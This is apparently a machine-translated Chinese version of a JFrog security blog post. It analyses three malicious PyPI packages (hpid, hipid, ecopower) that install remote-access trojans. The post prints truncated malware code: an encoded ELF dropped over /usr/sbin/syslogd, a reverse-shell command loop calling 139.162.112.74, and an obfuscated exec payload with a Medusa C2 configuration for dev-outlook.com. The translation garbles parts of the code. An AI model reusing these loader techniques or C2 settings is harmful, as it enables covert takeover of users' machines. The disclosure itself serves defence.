JFrog在PyPI中公开了3个远程访问木马
使用自动扫描工具发现的PyPI恶意包

JFrog安全研究团队持续监测流行情况开源软件(OSS)存储库和我们的自动化工具来检测和避免潜在风险软件供应链安全的威胁。在验证这些发现后,该团队报告了任何安全漏洞或者向存储库维护者和更广泛的社区发现恶意包。
我们之前已经分享了我们的发现恶意包用于窃取信用卡数据的PyPI存储库,以及恶意软件作者使用越来越先进的技术的证据逃避检测.
最近我们披露了PyPI存储库中的3个恶意包是我们的自动扫描工具扫描出来的。这些包可以使攻击者远程访问并完全控制受感染的计算机。所有报告的包都被PyPI维护人员迅速删除了。请继续阅读下面的内容,了解有关这些包的更多信息,并查看它们如何操作的技术分析。
PyPI报告恶意包
| 包 | 有效载荷 |
| hipid | 解码Base32嵌入的ELF文件,该文件是139.162.112.74 / blog.mysecuritycamera.com的回接shell |
| hpid | 解码Base32嵌入的ELF文件,该文件是139.162.112.74 / blog.mysecuritycamera.com的回接shell |
| ecopower | 执行美杜莎Python RAT,回拨dev-outlook.com |
选择恶意包的技术分析
hpid / hipid包
这两个包伪装成木马包,据称通过“hide_process”主API“隐藏linux中的python进程”(sic),但实际上安装了一个专门针对Linux目标机器。这与我们目前所见过的大多数软件包软件库中的恶意软件不同,后者要么适用于多种操作系统,要么专门针对Windows。
当hide_processAPI被调用时,Python代码调用函数release_elf它替换了文件/usr/sbin/syslogd与嵌入式ELF木马二进制-
elf_base32 = b" p5cuyrqcaeaqaaaaaaaaaaaaaaaaaaaabaapqa…" elf_path = "/usr/sbin/syslogd" def release_elf(data,elf_path): try: elf_data = base64.b32decode(data) if os.path.exists(elf_path): os.remove(elf_path) with open(elf_path,"wb")as f: f.write(elf_data) os. delete (elf_path) with open(elf_path,"wb")系统("chown——reference=/usr/sbin/sysctl "+elf_path)操作系统。系统("chmod——reference=/usr/sbin/sysctl "+elf_path)System ("touch -r /usr/sbin/sysctl "+elf_path)…elf_popen = Popen(elf_path+" -n",shell=True)
有趣的是,ELF作为base32字符串嵌入到Python脚本中。这种不常见的编码可能被用来避开自动扫描器,因为自动扫描器不需要这种编码。
掉落的ELF是非常小的,没有遮挡,并执行以下操作-
- 连接到TCP端口80“139.162.112.74”或“blog.mysecuritycamera.com”(以可用的为准)
- 接收命令字符串并使用
popen - 将执行结果发送回服务器
V6 = popen(a1, "r");// a1 =收到的shell命令字符串if (v6) {while (fgets(v5, 4096LL, v6)) {v4 = strlen(v5);rc4_encrypt (__int64 v5, v4);//使用内部键"345asdflkasduf" if ((int)send(v7, v5, v4, 0LL) < 0)
ecopower包
“生态能源”软件包有一个奇怪的项目描述,声称“帮助有效使用网络设备的硬件力量”

实际上,这个包甚至不包含木马功能,而是立即解码B64-XOR Python有效负载-
exec(" .join(chr(c^k) for c,k in zip(base64.b64decode(b' uf5gwxrgf…'),itertools.cycle(b'9364f27dac7fac09649ca77570a1ff60')))) .'), itertools.cycle(b'9364f27dac7fac09649ca77570a1ff60'))))
去模糊化的Python有效负载包含美杜莎C2药剂,配置为连接C2服务器“https://dev-outlook.com”-
自我。agent_config = {" Server": "https://dev-outlook.com", "Port": "443", "PostURI": "/api/v2.0/me/eventdata", "PayloadUUID": "38f8dfef-b602-4278-9aaf-7287d89ec7af", "UUID": "", "Headers": [{"name": "User-Agent", "key": "User-Agent", "value": " Mozilla/5.0 (X11;Linux x86_64;rv:10.0) Gecko/20100101 Firefox/33.0", "custom": False}], "Sleep": 10, "Jitter": 23, "KillDate": " 22-11-15", "enc_key": {"value": "aes256_hmac", "enc_key": "zB/iunx6Yo/DyAsosf9JA14S/A3m1kHl4UsNmMq5SEE=", "dec_key": "zB/iunx6Yo/DyAsosf9JA14S/A3m1kHl4UsNmMq5SEE="}, "ExchChk": "T", "GetURI": "/api/v2.0/me/calendarview", "GetParam": "getevent", "ProxyHost": "", "ProxyUser": "", "ProxyPort": "",}
Medusa C2代理将受感染机器的完全控制交给攻击者,允许任意下载和执行,甚至提供更高级的功能,如将Python模块直接加载到内存中(以避开磁盘扫描检测工具)。
保持最新的JFrog安全研究
在我们的JFrog安全研究团队中跟踪最新的发现和技术更新安全研究网站在推特上@JFrogSecurity.
